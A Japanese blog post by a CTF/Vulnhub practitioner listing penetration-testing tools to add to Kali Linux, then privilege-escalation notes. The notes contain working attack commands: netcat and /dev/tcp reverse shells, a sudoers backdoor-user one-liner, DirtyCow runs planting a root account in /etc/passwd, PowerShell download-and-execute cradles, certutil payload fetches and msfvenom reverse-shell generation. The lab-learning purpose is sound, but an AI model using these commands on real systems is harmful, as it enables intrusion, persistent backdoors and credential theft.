高林の雑記ブログ

こんにちは。

Kali Linuxに(自分が)追加したいペネトレーションツール

先日、VMware上で動かしていたKali Linuxが突然エラーで起動できなくなりました。
コマンドラインだけならログインできるんですが、GUI操作ができず復旧が絶望的なので一からKali LinuxをInstallし直すことにしました。

その際、せっかくなので自分がVulnhubやHTBを攻略するうえで便利だと思って使っていて、かつKali Linuxにデフォルトで入っていないけど有用なツールをまとめたいと思います。

完全に個人の意見なので、参考までにどうぞ!
ちなみに、niktogobusterといったツールはめちゃくちゃ使いますがデフォルトでInstallされているため省略します。

Information Gatering

AutoRecon

自分がHTBとか解くときはまず絶対にこれを実行します。
python3 autorecon.py 10.1.1.1
みたいに特にオプションはつけずにデフォルトで実行します。
AutoReconは、まずTCPのデフォルト1000ポートスキャンのNmapScanを実行して、そこで見つかったサービスに対して、個別にNmapのVulnスクリプトやNikto、enum4linuxなどを実行してくれます。
それと同時並行でTCP fullNmapScanも実行し、そこで新たに見つかったサービスに対してもさらにNmapなどを実行してくれます。
こう聞くと、AutoReconだけで良いのでは?と思えますがAutoReconにも注意する点はあります。

まずNmapを使っているのでhost seems downみたいにScanが正常に実行できなかったり誤検知(httpをwinrmと誤検知など)、空いているポートを逃したり。
実際に結構な頻度でこういうことが起こりえます。
なので自分はAutoReconとは別に手動でnmap 1000ポート、Fullポートスキャンを必ず行います。
この時、nmap -p- ipaddr --openみたいな感じでバージョンまでは調べません。
とりあえず、空いているポートを見逃すということが怖いのでそれさえしなければOK。

scan結果は/results/scanに出力されます。それ以外の/reportなども作成されますがここはOSCPのラボレポートの作成用に作者の方が用意したものなので自分は使ってません。(CherryTreeにメモを取るので)
github.com

onetwopunch

AutoReconを実行したあとに次に実行するコマンドです。
NmapでFull PortScanした後に、Nmapとは別の方法でバージョンスキャンを行います。
このツールの特徴はNmapより速いことです。
nmapで-sVするよりもかなり早くFull PortScanできます。
自分は手動でNmapでtcp1000,fullポートスキャン、AutoReconでtcp quick,Fullポートスキャン、onetwopunchでtcp full,udp fullポートスキャンの三重でポートスキャンを行います。
ここまですればさすがに一回くらいポートを見逃しても他二回で検出できる、という作戦です。
実際、ここまでして見逃したことは今のところはないです。
github.com

Parsero

robots.txtが存在するかどうかを確認します。
手動で確認してもいいかもだけど、タイプミスとか怖いのでこれを使ってます。
でもAutoReconがrobots.txtもチャックしてくれるので、これを使うのはAutoReconがhttpを検出できなかった時です。
実際、そういう場面は結構ある気がします。

smbver.sh

139,445ポートで動作しているSambaサーバーのバージョンを読み取るためのスクリプト
enum4linuxでも同様のことができるが、ある一定以上のバージョンだとバージョンが検出できなくなっているらしい。
実際自分の環境だとenum4linuxが正しく動作しなかったので、その時はこれを使います。
Metasploitのモジュールでもバージョンを検出できる。

github.com

FindSMB2UPTime.py

MS14-068(Microsoft Windows Kerberos - Privilege Escalation (MS14-068))を確認する。
これはADにログインできるドメインユーザーの権限をSYSTEMに昇格させるPrivilegeEscalation。
ドメインユーザーのUser名、Password、SIDが必要。
github.com

impacket

通信などのややこしい設定をする必要なく、pythonスクリプトでそれが可能なスクリプト群。
mssqlclient.py,wmiexec.py,smbserver.py,smbexec.pyなどを特に使う。

github.com

oracle(sqlplus)

sqlplusコマンドでOracleサーバーと対話する。
github.com

Information Gatering Brute Force

bruteforce-http-auth

hydraがなんかうまく動かなかったので、動作がわかりやすい以下のスクリプトを使っている。
Basic, Digest認証のときに使っている。
github.com

SMBrute

SMBのブルートフォース
windowsに登録されているユーザーをクラックする。
ただしクラックできる程度の弱いパスワードのマシンなんてほぼ無いのでは?と思ってる。でも一応は実行しておく。
github.com

smtp-user-enum

デフォルトでこのコマンドが入っていたが、動作がイマイチだったのでこっちを使ってます。
こっちなら、-vオプションでより詳細なデバッグが可能。
個人的にこっちの方が使いやすかった。
github.com

wp_xmlrpc_brute_force.rb

XMLRPCを使ってログインブルートフォース
wpscanにこの機能があると思ったら意外とまだない様子。
Wordpressに対して行う。
Wpscanでwp-login.phpブルートフォースでも結果は同じだが、wp-login.phpの方だと複数回のログイン試行を検出したらそのIPからの接続を拒否する、みたいな設定の場合にブルートフォースできなくなってしまう。
WordPress XML-RPC Password Brute Force · GitHub

debian-ssh

あるバージョンのdebian上で作成されたSSH秘密鍵が予測可能な脆弱性がある。
crowbarと組み合わせてSSH秘密鍵ブルートフォースができる。
ただしめっちゃ時間はかかる。
github.com

massh-enum

OpenSSH の2.3 ~ 7.4 に Username Enumeration (CVE-2018-15473)の脆弱性
他にもいくつか同じExploitのスクリプトはあったが、これが動いていたのでこれを使っている。
github.com

Exploit

Kadimus

PHP LFI/RFIを自動で検出してくれる。

github.com

NoSQLMap

NoSQL Injectionのペイロードを自動で試してくれる。
sqlmapと似ているが使い方は結構違う。

github.com

Powercat.ps1

PowershellのReverse shellPayload。

github.com

wget.vbs

winodws用のwgetみたいなもの。
Webshellは設置できたが、nc.exeがなくてインタラクティブなリバースシェルが欲しいときに、echoでwget.vbsを作成して、これでnc.exeをアップしたりする。

wget vbscript · GitHub

MS17-010

よく見る脆弱性
個人的に以下のスクリプトが安定して動いている気がする。
named pipeが見つかる場合、見つからない場合、認証が必要な場合などで使い分ける。

github.com
github.com
github.com

Exiftool

画像ファイル(jpeg)にPHPコードを挿入したいときに使う。
PHPコードを含む画像ファイルをUploadしたら、LFIなどと組み合わせてPHPとして実行する必要がある。
そのままWeb上でアクセスしても画像ファイルとして認識されてしまい、PHPとして実行できないので。

www.poftut.com

Privilege Escalation IG (linux)

privilege-escalation-awesome-scripts-suite(linpeas.sh)

linpeas.shがカラフルで重要なとこの色が強調されるので一番使う。
kernel exploitを探すスクリプト以外の中では一番使いやすいと個人的に思っている。
他のLinEnum.shやlinuxprivchecker.pyにも同じ動作は多々あるが、色分けしてくれるのでこれをよく使います。
また、大体の環境でも動作してくれる。
pythonが入っていない環境とかも普通にあるので。

github.com

linux-smart-enumeration(lse.sh)

カラフルに色分けしてくれるので見やすい。
linpeas.shでの調査では不十分と感じたら実行している。

github.com

LinEnum.sh

こっちも色分けはしてくれるが、linpeas.shほどカラフルではない。
とはいえ、動作自体は優秀。

github.com

pspy

実行しているプロセスをダンプしてくれる。
linpeas.shなどでps auxだけでは確認できないものも確認できる。
超優秀。自分はlinpeas.shとpspyだけは毎回必ず実行する。
実行されているプロセスを確認するのはめちゃくちゃ大事だと個人的に思っている。
見たことのないプロセスが動いていたら取りあえずチェックしている。

github.com

linuxprivchecker.py

LinEnum.shなどと同様の列挙スクリプト
ただし、これは色分けがない。
linuxprivchecker.pyはLinEnum.shやlinpeas.shと違って、最後の方にKernel Exploitの予想をしてくれる。
ただし、それが当たっていたことはあんまりない気がする…。
pythonがない環境だと動作しない。

netsec.ws

uptux.py

よくわかってない。

github.com

vuln_pkg_lookup.sh

よくわかってない。

github.com

SUID3NUM

デフォルトでSUIDがつくバイナリとそうでないバイナリをチェックしてくれる。
SUIDを用いたPrivilegeEscalationを確認する場合に使う。
ただし慣れてくるとlinpeas.shだったりで見慣れているバイナリは覚えてしまうので、変なバイナリはlinpeas.shだけでも見つけられる気がする。

github.com

BeRoot

pythonのKernel Exploitの列挙スクリプト
一つのファイルじゃなくて全体をダウンロードしないといけないので一度ZIPにしてからダウンロードして、展開している。
ファイルサイズが大きいものをwgetするのは時間かかるし、あんまり使わない。
後述するKernel Exploit列挙スクリプトで全然列挙できてないときとかに非常用で使うつもりでいる(そういう状況にはなったことはない)

github.com

kernelpop

Kernel Exploitを列挙するスクリプト
python3がないと動作しない(気がする)。そのため出番はあんまりない。
ディレクトリを丸ごとダウンロードする必要がある。

github.com

linux-exploit-suggester2.pl

色分けしてくれるので見やすい。
大体10~15個くらい列挙してくれるが、だいぶ誤検知も含まれている。
ただその中でもよく見るExploit(dirtycow, sock_sendpage, pipe, rdsなど)が検出されると優先度高めでリストに追加する。

github.com

Linux_Exploit_Suggester.pl

linux-exploit-suggester2.plの色分けのないバージョンだと思っている。
検出されるExploitもほぼ同じ。

github.com

linux-exploit-suggester.sh

linux-exploit-suggester2.plはただ列挙するだけだが、これはhighly probable,probable,less probableの3段階でExploitを列挙してくれる。
less probable以外は重要なのでリストに追加する。
たまにbashのバージョンが低すぎる、というエラーで実行できないことがある。
自分はlinux-exploit-suggester.shとlinux-exploit-suggester2.plは必ず実行している。

github.com

Privilege Escalation IG (windows)

Empire

powershellが使えるWindowsのPEに重宝する。
自分はEmpireが使えるかどうか(powershellが入っているかどうか)で作戦を変えています。
Empireが使えるなら、セッションを2個作成して、万が一リバースシェルがフリーズしてCtrl+Cしなければならなくなった時に、Empireからリバースシェルペイロードを実行するだけでまだリバースシェルを得られるようにしておく。
Empireからでもコマンド操作はできるっちゃできるけど、レスポンスが遅いので、Empireからコマンド操作をするときはこういう非常事態の時にしています。
あと、file uploaderとして非常に優秀だと思ってます。
certutilやtftpなどの長いコマンドを打つのではなくTab補完の利くEmpireからKaliの任意の場所のファイルをUploadできるので、ストレスを感じなくて済む。
あとは、PowerUp.ps1などを実行したりする。

github.com

PowerSploit

powershellが使える際に、ここのスクリプトを使うことができる。
とても便利だけど、スクリプトの数がめちゃくちゃ多いので使いこますのが難しい。
PowerUp.ps1, Get-System.ps1, Invoke-Mimikatz.ps1とかをよく使う気がする。
いまだによくわかっていない。
EmpireからPowerSploitのスクリプトをロードして、使用することができる。
長文のワンライナーでリバースシェル上でPowershellスクリプトを実行しなくても、Empire上からTab補完付きで簡単にPowershellスクリプトを実行できるのもEmpireの強みな気がする。とにかく便利。

github.com

Powerless.bat

windowsの情報収集系のスクリプトの中で個人的に一番!
他のEnumスクリプトは、Windowsのバージョンによって動作しないことが結構ある(ps1はXPなどでは動作しない)が、これはほぼすべてのバージョンで動作してくれる。
しかも個人的にチェックしてほしいところは大体チェックしてくれる。
Empireが使えるときもPowerless.batは実行する。
基本的にこれを実行して、追加の情報をほかのスクリプトで補っている。

github.com

jaws-enum.ps1

PowerUp.ps1などと同様に実行しておきたいツール。
動作は基本的にPowerless.batと同じだが、出力が綺麗で見やすいので実行できるならする。

github.com

windows-privesc-check

使った記憶があんまりないです……
でも便利そう。
github.com

Ghostpack-CompiledBinaries(SharpUp.exe Seatbelt.exe)

SharpUp.exe Seatbelt.exeを使う。
Powerless.batの追加として使っている。
Seatbelt.exeからは結構有用な情報が得られるので何をチェックしてくれるのかは把握しておくとよさそう?

github.com

wmic_info.bat

wmicコマンドで収集した情報をhtmlファイルに保存。
なので、レイアウトが綺麗で見やすい。
github.com

WindowsEnum.ps1

コンパクトに列挙してくれる。
これだけでは情報不足なのでほかのスクリプトと合わせて使いたい。
github.com

SessionGopher.ps1

セッション情報の中にあるクレデンシャル情報を抽出してくれる。
必ず実行するスクリプトの中のうちの一つ。

github.com

AccessChk

サービスの書き込み権限を確認したりするのに便利。
あと、Powerless.batがAccessChk.exeをアップしてから実行するとより情報を表示してくれるので自分は毎回Uploadしている。

docs.microsoft.com

Autorunsc

自動起動するようなサービスがないかをチェックする。
これも必ずアップしてチェックしている。
docs.microsoft.com

IKEEXT

IKEEXTというサービスにDLL Hijackできるかどうかチェックするps1スクリプト
windows 7 なら確認している。

github.com

windows-exploit-suggester.py

windowsでKernel Exploitを列挙するためのスクリプト
systeminfoコマンドの出力結果をKali上にコピーして、Kali上で実行する。
とても有用!
毎回必ず確認。
Patchが適応されているかをチェックするのでPrivilegeEscalation以外も表示される。

github.com

Sherlock.ps1

Kernel Exploitを列挙するps1のスクリプト
これもPowershellが使えるならEmpire上から必ず実行している。

github.com

BeRoot

LinuxWindowsで使えるようになっている。

github.com

Privilege Escalation exploit (linux)

dirtycow

Exploit-dbの40611,40616,40838,40839,40847は使用頻度が高いので、32/64bitでコンパイルしてまとめて、いつでも使えるようにしている。(コンパイルが若干面倒なので)
以下にいろいろなPoCがある。
github.com

Privilege Escalation exploit (windows)

WindowsExploits

コンパイル済みのバイナリがいっぱいあって最高!
locate MS16-032みたいな感じでバイナリを探してつかっている。

github.com

windows-kernel-exploits

コンパイル済みのバイナリがいっぱいあって最高!
locate MS16-032みたいな感じでバイナリを探してつかっている。

github.com

windows-tools(incognito,mimikatz_trunk)

incognito,mimikatz_trunkが有用なので入れている。
incognitoでMeterpreter上からのgetsystemと一部同じことができる。(Meterpreterのgetsytemは3種類の動作をしている)

github.com

juicy-potato

権限を確認したときに、条件を満たしていれば使える。

github.com

バイナリは以下から入手できる。
Releases · ohpe/juicy-potato · GitHub

Juicy-Potato-x86

上記のバイナリはx64用。
以下のソースコードコンパイルしてx86バイナリを作成できるらしいが、エラーでコンパイルできませんでした。
できた方は教えてほしいです。

github.com

rottenpotato

権限を確認して条件を満たしていれば試してみる。

github.com

Tater(hot potato)

hot potatoExploitのps1スクリプト
正直よくわかっていない。

github.com

tokenx_privEsc(getsystem.py)

meterpreterのgetsystemと同じことがpythonでできそう。
ただしREADMEを見た感じだと、RDP接続している状態でないとSYSTEMシェルが得られなさそう?

github.com

churrasco.exe

Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation

www.exploit-db.com

以下からバイナリをダウンロードできる。
github.com

Invoke-PowerShellTcp.ps1

powershellを用いたReverse shell payload

github.com

PSTools

PsExec.exeが欲しいのでダウンロード。
これを使って、AdministratorからSYSTEMになれる。

docs.microsoft.com

おすすめ

  • AutoRecon
  • impacket
  • onetwopunch
  • wget.vbs
  • linpeas.sh
  • pspy
  • LinEnum.sh
  • linux-exploit-suggester2.pl
  • linux-exploit-suggester.sh
  • Empire
  • PowerSploit
  • Powerless.bat
  • windows-exploit-suggester.py
  • WindowsExploits
  • windows-kernel-exploits
    自分はこれらを使う機会が非常に多いです。
    よくわからんという方はとりあえずここら辺のツールを一度使ってみることをお勧めします。

最後に

今回は自分がKaliに追加で入れるツールをまとめてみました。
これは自分がいろいろやってて良いなと思っただけなので、必ずしもこれらのツールだけがいいというわけではないし他にも便利なツールは大量にあります。
ツールに優劣をつけるつもりは全くないのでご了承願います。
参考程度にしていただければ幸いです。
あと、なんか間違ってたりアドバイスとかあればぜひ!

vulnhub Privilege Escalationメモ

以下二つに追記していってたんですが、文字数が多すぎてレスポンスが重くなったので、PrivilegeEscalationのことはここに書くことにしました。
PE以外は以下二つを参照してください。
kakyouim.hatenablog.com

kakyouim.hatenablog.com

Privilege Escalation

Linux

情報収集ツール

  • wget https://www.securitysift.com/download/linuxprivchecker.py
  • wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
    Linuxprivchecker.pyなら書き込み可能なファイルやディレクトリをEnumしてくれる。
  • linpeas.sh
    github.com
    Linpeas.shならpasswordを含むクレデンシャルも探索できる
    tcpdumpが可能かどうかもわかる。
  • vuln_pkg_lookup.sh
    github.com

  • kernelpop.py
    github.com
    Enum Kernel Exploit

  • pspy
    github.com

  • linux-smart-enumration
    github.com

  • suid3num.py
    github.com
    CustomSUIDを探せる

  • wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

  • wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
    シェルを確立後、これらをアップして実行して情報を集める。
    参考:
    blog.g0tmi1k.com
    https://www.rebootuser.com/?p=1623www.rebootuser.com
    guide.offsecnewbie.com
    guif.re

手動で情報収集

  • uname -a
  • cat /etc/*release
  • lsb-release -a
  • cat /etc/passwd
  • cat /etc/shadow
  • cat /etc/exports
    /home *(rw,no_root_squash)
    RWで共有ディレクトリに書き込み権限があり、no_root_squashでローカルのrootユーザーがnsfnobodyを割り振られない場合、いったんkaliにマウントしてSUIDの/bin/bashを書き込めば、リモートにログインしてその/bin/bashを実行することでRootになれる。
    www.hackingarticles.in

  • ps -ef | grep root

  • sudo -l,sudo -ll
    例えば、以下のようになっている場合、test1はtest2として/tmp/somecommandを実行すると、そのコマンドがroot権限で実行される。
    もし、現在のユーザーがtest1で、somecommandが/bin/bashの場合、sudo -u test2 /bin/bashでrootになれる。
User test1 may run the following commands on this host:
    (test2 : ALL) /tmp/somecommand

ただし、somecommandがsudoeditの場合、sudoeditにはsudoコマンドが含まれるので先頭にsudoを付与する必要はない。
- ls -al /etc/cron.daily
- cat /etc/crontab
書き込み可能なスクリプトが実行されていないかどうか確認。
また、*インジェクションが可能でないか確認。
www.hackingarticles.in
logrotateがRootで実行されていて、logrotateのログファイルに書き込めるまたはその親ディレクトリに書き込み権限がある場合、任意の場所に書き込める可能性がある。(と書いてあったが/etc/bash_completion.d/にログファイルを書き込めるだけっぽい?)
/etc/bash_completion.d/にExploit Codeを設置するとほかのユーザーがログインしてきたときにそのユーザーの権限でExploit codeが実行される。
/var/log以外にログファイルがないかどうか確認。(/home/logdir/log.1みたいな)
tech.feedyourhead.at
- find / -mmin -10 2>/dev/null | grep -Ev "^/proc" | grep -vi '\/var\/lib\/' | grep -vi '\/sys\/'
最近編集されたファイルを探す。
- capability
- CAP_DAC_OVERRIDE - CAP_DAC_READ_SEARCH - CAP_KILL - CAP_SYS_CHROOT これらがバイナリに付与されていないかどうか確認。
悪用できるかどうかは付与されているバイナリによる。
nxnjz.net

github.com

  • cat .bash_history
  • find /etc/apache2/ -perm 777 | grep -vi '\.load'
  • cat /etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync
    Loginできるユーザーを確認
  • lsattr ファイル名

  • ls -al /var
    www.pathname.com
    おかしな場所にSoftwareがInstallされていないかどうか確認
  • cat ~/.ssh/id_rsa
    SSH秘密鍵が見れるか確認
  • find -iname '*config*'
    /var/www/htmlなどでMysqlなどのデータベースのクレデンシャルなどがないかどうか確認
  • netstat -antup
    • 待機しているサービスの確認
      外部からは見えないようなソフトが動いていないかどうか確認
      例えば以下のような場合、0.0.0.0(すべてのネットワークインターフェイス)の22,80ポートでリッスンしている。(127.0.0.1や10.11.0.1など)
      ただしIptablesによってパケットフィルタリングされている可能性もある。

      tcp 0 0 0.0.0.0:80 0.0.0.0: LISTEN
      tcp 0 0 0.0.0.0:22 0.0.0.0:
      LISTEN

    • mysql (3306)
      mysql -h 127.0.0.1 -u root -P 3306 -p
      • show databases;
      • show tables;
      • show columns from table_name;
    • mongodb (27017)
      mongo -u user1 -p password123 localhost:27017/database_name
      • show dbs
        データベースを表示。
      • show collections
        MongodbでのcollectionはMysqlでのTable
      • db.collection_name.find()
        collection(table)の中身をすべて表示。
      • db.users.insert( { escalation: "bash /bin/bash" } );
        filed(column)がescalation、値がbash /bin/bashのdocument(row)をcollection(table)usersに挿入。
      • db.collection_name.find( { a : 1 } )
        collection(table)のdocument(row)の中で、field(column)aの値が1であるdocument(row)を抽出。
        select * from collection_name where a = 1
        に対応。
  • tcpdump
    • tcpdump -w test2.pcap -i tap0 -W1 -G10
      で10秒間のセットを一回実行。
      iNICを設定。
      passwordなどの情報がやり取りされていないかどうか確認する。
    • tcpdump -r test2.pcap
      rでファイルを読み込む。
    • tcpdump -r test2.pcap -n port 443 -A
      nでポートを指定して、AXで中身を表示。
    • tcpdump -r test2.pcap -n dst host 10.11.0.1
  • dpkg -l
    Debian(ubuntuとか)でInstallされているソフトを列挙
  • rpm -qa
    CentOS / openSUSEでInstallされているソフトを列挙
    以下を参考にする
    www.pathname.com

Exploit

use searchsploit

得られたKernelのバージョンから有効なExploitをsearchsploitでも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています

  • Linux kernel で2.6(今回は2.6.24)
  • Local Privilege
  • OSが32bit(i686とあるため)
  • 標的の環境ではRubyは動かないので.rbを排除
  • < 2.6.1を省く

ここまですればある程度目で見れるくらいに絞れる。あとは、

  • Ubuntuで8.04じゃないやつ(10.10とか)

等、矛盾するものを排除していく
注意点

  • grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
  • searchsploit --colour -t phpとして色を消す
  • searchsploit -x 12345とすると表示できる
  • grep では`-i`(大文字小文字無視)を使う
  • Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
  • 一個ずつ消すときは、ファイル名で消す
  • 2.xみたいなのを消さないように気を付ける
Compile error

: syntax error: unexpected end of file
: line 39: syntax error near unexpected token `{
/bin/bash^M: bad interpreter: No such file or directory
のようなエラーが出ているときは、改行コードが\r\nで保存されてしまっているため、Linuxの\nに直す。
その他のエラーの参考文献。
github.com

sed -i 's/\r//' filename

use command or program

-get root one liner
rootで起動しているプロセスがあれば、そのプロセス上でコマンドが実行できないかどうか確認。書き込みでも可。できれば以下のコマンドで権限昇格

echo "%wheel ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; useradd user2; echo "user2" | passwd --stdin user2;usermod -aG wheel user2

useraddでuser2という新しいユーザーをpassword=user2として作成し、usermodでsudoをNOPASSWORDで実行できるようにする。

# id user2
uid=502(user2) gid=502(user2) groups=502(user2),10(wheel)
# sudo su user2
bash-3.2$ sudo su root
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  • chmod u+s /bin/bash
    /bin/bashの所有者の権限(3つのやつの一番左の権限)で実行。root以外が実行してもrootとして実行されるが、一番右のothersが実行できない(xがついていない)場合はPermission deniedとなって実行できない。
    u+sでSUIDビットを付けられるのはバイナリファイルだけ。シェルスクリプトにはできない。
    g+sでSGIDビットを付与。
    ファイルの所有者は変わらない。
  • /bin/bash -p
    chmodでrootの権限SUIDを付与したbashを実行する際、-pを付けないと、実行したユーザーの権限で上書きされて実行されてしまうので昇格ができない。
  • chown -R john.john /root
    -Rで、指定したディレクトリとそのディレクトリ以下のファイルやディレクトリの所有権を再帰的に変更する。
  • nc -e /bin/bash 192.168.56.5 4445
#!/bin/sh
netcat -e /bin/sh 10.11.0.1 5555


- コマンドの悪用
sudoが許可されている場合など、以下のコマンドを使ってrootになれる。
GTFOBins

rootで書き込めるなら、/etc/sudoers
- www-data ALL=NOPASSWD: /bin/su
みたいに書けばよい
- export PATH=/home/john:$PATH
フルパスでコマンドが実行されていない場合、環境変数を書き換えて任意コマンド実行。ただしシェルスクリプト(bash script.sh)ではPATHを書き換えても/bin/を参照するため無効(?yokuwakaranai?)

- ssh -i id_rsa 127.0.0.1 -l root
非rootの公開鍵が/root/.ssh/authorized_keysにある場合、上記のコマンドで(/home/非root/.ssh上で)ログインできる。
また、kernelのバージョンが2.6.22~3.9なら、dirtycowというexploitができる可能性がある。これは非常に強力なエクスプロイト。一般ユーザーには読み込みしか許可せず書き込みができないファイルに対してExploitを実行して書き込めるというもの。つまり、/etc/passwdに新たなuserをrootとして作成することが可能。

有名なExploit

Dirty cow
  • 40839.c
    gcc -pthread dirty.c -o dirty -lcrypt
    コンパイルする。
./dirtycow-40839-32
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: pass

Complete line:
firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash

mmap: b778e000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'pass'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'pass'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd
firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
root@kali:~# perl -le 'print crypt("pass", "aa")'
aaW3cJZ7OSoQM

で、これをパスワードとして/etc/passwdに追記する。
文字数はいい感じにファイル名で合わせる。

$echo '#!/usr/bin/env bash' > /tmp/reverse-shell555555555
$bash -i >& /dev/tcp/10.11.0.112/5555 0>&1' >> /tmp/reverse-shell555555555
$chmod 777 reverse-shell555555555
.$/dirtycow-40611-32 /etc/passwd backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555
<backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555       
mmap b7797000

madvise 0

procselfmem -1689934592

$cat /etc/passwd
backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555
  • 40847
    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
    コンパイル
$./dcow -s
$./dcow pokeball miltank

miltankでpokeball fileを上書き。

   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCsに様々なバージョンのDirtycowがのっている。

DirtyCOW(CVE-2016-5195)のPoCを試してみたよっていう話 - Qiitaに詳しい手順がのっている。
Ubuntuディストリビューションに対するカーネルバージョン
Ubuntu version history - Wikipedia

Windows

ツールやコマンド

powerless.bat

accesschk.exeをアップロードしてから実行するとよい

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Powerless.bat" Powerless.bat

Sherlock.ps1

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Sherlock.ps1'))http://10.11.0.112/priv/windows/Sherlock.ps1'));Find-AllVulns"

Session Gopher.ps1

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.112/priv/windows/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"

JAWS

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.12/priv/windows/jaws-enum.ps1'))"

WindowsEnum.ps1

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/WindowsEnum.ps1'));"

windows-privesc-check2.exe

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/windows-privesc-check2.exe" windows-privesc-check2.exe

beRoot

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/beRoot.exe" beRoot.exe

PowerUp

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"

windows-exploit-suggester.py

python windows-exploit-suggester.py --database 2020-03-06-mssb.xls --systeminfo systeminfo.txt

Seatbelt.exe

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Seatbelt.exe" Seatbelt.exe

SharpUp.exe

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/SharpUp.exe" SharpUp.exe

Metasploit

  • use post/multi/recon/local_exploit_suggester
  • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe

    Other tool

    accesschk.exe

    レジストリへの権限を確認したり重宝するツールだが、XP SP1だとなんか動かなかった。(??)
    ファイルサイズが大きいのでUPXで小さくした方がいいかも。

certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/AccessChk/accesschk.exe" accesschk.exe

以下、もしくはSysInternalsからダウンロード。
github.com

Powershell Empire

  • Listenerの設定
    • [Listeners] → [uselistenser http]でポートなどを設定
      • set Port 8080
      • set Host http://10.10.10.10:8080
      • set Name test
    • [execute]でリスナーを作成
    • [Listeners] → [usestager windows/launcher_bat]でリスナーのStagerを作成
      • set Listener test
    • [execute]でstagerを作成
  • scriptimport /var/www/html/priv/windows/Sherlock.ps1
    • scriptcmd FindAllVulns
  • usemodule privesc/powerup/allchecks
  • scriptimport /var/www/html/priv/windows/jaws-enum.ps1
  • upload /tftp/launcher.bat
  • upload /var/www/html/exploit/windows/reverse-4445.exe
  • upload /var/www/html/exploit/windows/Powerless.bat
  • upload /var/www/html/priv/windows/Accesschk/accessChk.exe
  • upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
  • upload /var/www/html/priv/windows/beRoot.exe
  • upload /var/www/html/priv/windows/Seatbelt.exe
  • upload /var/www/html/priv/windows/SharpUp.exe
  • upload /var/www/html/priv/windows/windows-privesc-check2.exe

以下の参考文献がわかりやすい。
www.emonnao.com
以下にModuleの説明がのっている。
www.powershellempire.com

調査と悪用

system

 * * Windows XP with sp2
 *  - As Power User:
 *    service: DcomLaunch ( SYSTEM )
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *    Service: WMI (SYSTEM) <- sometimes as user also..
 *  - As User:
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *  - As Network Config Operators:
 *    service: DcomLaunch ( SYSTEM )
 *    Service: UpnpHost ( Local Service )
 *    Service: SSDPSRV (Local Service)
 *    Service: DHCP ( SYSTEM )
 *    Service: NetBT (SYSTEM - .sys driver)
 *    Service DnsCache (SYSTEM)
 *
 * * Windows 2000
 *  - As Power user
 *    service: WMI (SYSTEM)

www.exploit-db.com

upnphost

XP SP1,2ならupnphostレジストリキーを任意に書き換えられる脆弱性がある可能性(99%)
Local Srviceで起動するようになっていても、Local Systemに上書きすればよい。
reverse-shellペイロードは、Stagedじゃないとうまく行かなかった。
